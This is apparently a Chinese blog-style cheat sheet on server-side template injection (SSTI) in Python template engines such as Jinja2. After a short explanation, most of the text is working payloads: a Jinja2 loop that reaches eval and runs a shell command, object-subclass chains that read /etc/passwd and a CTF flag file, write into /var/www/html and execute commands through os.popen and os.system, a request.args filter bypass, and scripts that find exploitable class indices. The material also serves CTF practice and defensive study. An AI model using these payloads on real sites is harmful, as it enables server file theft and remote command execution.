SSTI总结 一、什么是SSTI? SSTI就是服务器端模板注入(Server-Side Template Injection),也就是通过网站的模板引擎来渲染用户的输入,如果没有对数据进行过滤,就会造成SSTI。主要针对python、php、java的一些网站处理框架,比如Python 的jinja2、mako、tornado 、django,php 的smarty twig,java 的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
二、漏洞场景
三、利用方法 官方的利用方法:
1 2 3 4 5 6 7 8 9 10 11 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
四、解析 1 2 3 4 5 6 7 8 9 10 11 12 __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值 __subclasses__():查看当前类的子类。 __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 // __base__和__mro__都是用来寻找基类的 __init__ 类的初始化方法 __globals__:对包含函数全局变量的字典的引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //获取基本类 ''.__class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] object //读文件 ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() object.__subclasses__()[40](r'C:\1.php').read() //写文件 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') object.__subclasses__()[40]('/var/www/html/input', 'w').write('123') //执行任意命令 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
五、绕过 1 2 3 4 5 6 7 8 python2尝试: {{''.__class__.__mro__[2].__subclasses__()}} {{config}} {{url_for.__globals__}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} #40是file 尝试request {{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
1 2 3 request可以用: {{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read #request.args.是占位符,可以传递参数进去
1 2 3 4 5 6 执行命令: 无回显: ''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls') #72是包含os模块的脚本 有回显 ''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
小代码:
1 2 3 4 5 6 7 num = 0 for i in ''.__class__.__mro__[2].__subclasses__(): if 'file' in str(i): print num print str(i) else: num += 1
1 2 3 4 5 6 7 8 9 num = 0 for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1
参考链接 https://blog.csdn.net/zz_Caleb/article/details/96480967
https://www.freebuf.com/column/187845.html